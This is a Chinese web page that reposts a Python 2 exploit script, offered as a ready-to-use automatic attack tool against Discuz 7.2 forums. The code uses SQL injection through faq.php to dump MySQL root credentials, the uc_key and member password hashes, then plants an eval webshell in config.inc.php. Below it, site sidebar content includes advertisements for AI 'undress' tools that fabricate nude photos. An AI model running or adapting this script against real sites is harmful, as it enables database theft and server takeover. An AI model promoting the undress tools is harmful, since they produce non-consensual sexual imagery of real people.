Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)
实现代码:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: gb2312 -*- # -*- coding: utf_8 -*- # author iswin import sys import hashlib import time import math import base64 import urllib2 import urllib import re def sendRequest(url,para): try: data = urllib.urlencode(para) req=urllib2.Request(url,data) res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'Exploit Failed!\n%s'%(e) exit(0); return res def getTablePrefix(url): print 'Start GetTablePrefix...' para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res); if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].decode('hex') table_pre=table_pre[0:table_pre.index('_')] print 'Table_pre:%s'%(table_pre) return table_pre def getCurrentUser(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para) pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1] print 'Current User:%s'%(table_pre) return table_pre def getUcKey(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); res1=sendRequest(url,para1); key1=re.findall("Duplicate entry '(.*?)'",res) key2=re.findall("Duplicate entry '(.*?)'",res1) if len(key1)==0: print 'Get Uc_Key Failed!' return '' key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1] print 'uc_key:%s'%(key) return key def getRootUser(url): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(url,para); pre=re.findall("Duplicate entry '(.*?)'",res) if len(pre)==0: print 'Exploit Failed!' exit(0); table_pre=pre[0][:len(pre[0])-1].split(' ') print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1]) def dumpData(url,table_prefix,count): para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)} res=sendRequest(url,para); datas=re.findall("Duplicate entry '(.*?)'",res) if len(datas)==0: print 'Exploit Failed!' exit(0) cleandata=datas[0][:len(datas[0])-1] info=cleandata.split(' ') print 'user:%s pass:%s'%(info[0],info[1]) def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[3]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "Exploit Falied" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" try: req=urllib2.Request(host+'/config.inc.php') res=urllib2.urlopen(req,timeout=20).read() except Exception, e: print 'GetWebshell Failed,%s'%(e) return print "webshell:"+host+"/config.inc.php,password:3" if __name__ == '__main__': print 'DZ7.x Exp Code By iswin' if len(sys.argv)<3: print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.bitsCN.com 10' exit(0) url=sys.argv[1]+'/faq.php' count=int(sys.argv[2]) user=getCurrentUser(url) if user.startswith('root@'): getRootUser(url) uc_key=getUcKey(url) if len(uc_key)==64: print 'Start GetWebshell...' get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1]) tb_pre=getTablePrefix(url) print 'Start DumpData...' for x in xrange(0,count): dumpData(url,tb_pre,x)

2小時內可以學會Python的基本編程概念和技能。 1.學習變量和數據類型,2.掌握控制流(條件語句和循環),3.理解函數的定義和使用,4.通過簡單示例和代碼片段快速上手Python編程。

Python在web開發、數據科學、機器學習、自動化和腳本編寫等領域有廣泛應用。 1)在web開發中,Django和Flask框架簡化了開發過程。 2)數據科學和機器學習領域,NumPy、Pandas、Scikit-learn和TensorFlow庫提供了強大支持。 3)自動化和腳本編寫方面,Python適用於自動化測試和系統管理等任務。

兩小時內可以學到Python的基礎知識。 1.學習變量和數據類型,2.掌握控制結構如if語句和循環,3.了解函數的定義和使用。這些將幫助你開始編寫簡單的Python程序。

如何在10小時內教計算機小白編程基礎?如果你只有10個小時來教計算機小白一些編程知識,你會選擇教些什麼�...

使用FiddlerEverywhere進行中間人讀取時如何避免被檢測到當你使用FiddlerEverywhere...

Python3.6環境下加載Pickle文件報錯:ModuleNotFoundError:Nomodulenamed...

如何解決jieba分詞在景區評論分析中的問題?當我們在進行景區評論分析時,往往會使用jieba分詞工具來處理文�...

如何使用正則表達式匹配到第一個閉合標籤就停止?在處理HTML或其他標記語言時,常常需要使用正則表達式來�...


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

MinGW - Minimalist GNU for Windows
這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

PhpStorm Mac 版本
最新(2018.2.1 )專業的PHP整合開發工具

SublimeText3漢化版
中文版,非常好用

SublimeText3 英文版
推薦:為Win版本,支援程式碼提示!

禪工作室 13.0.1
強大的PHP整合開發環境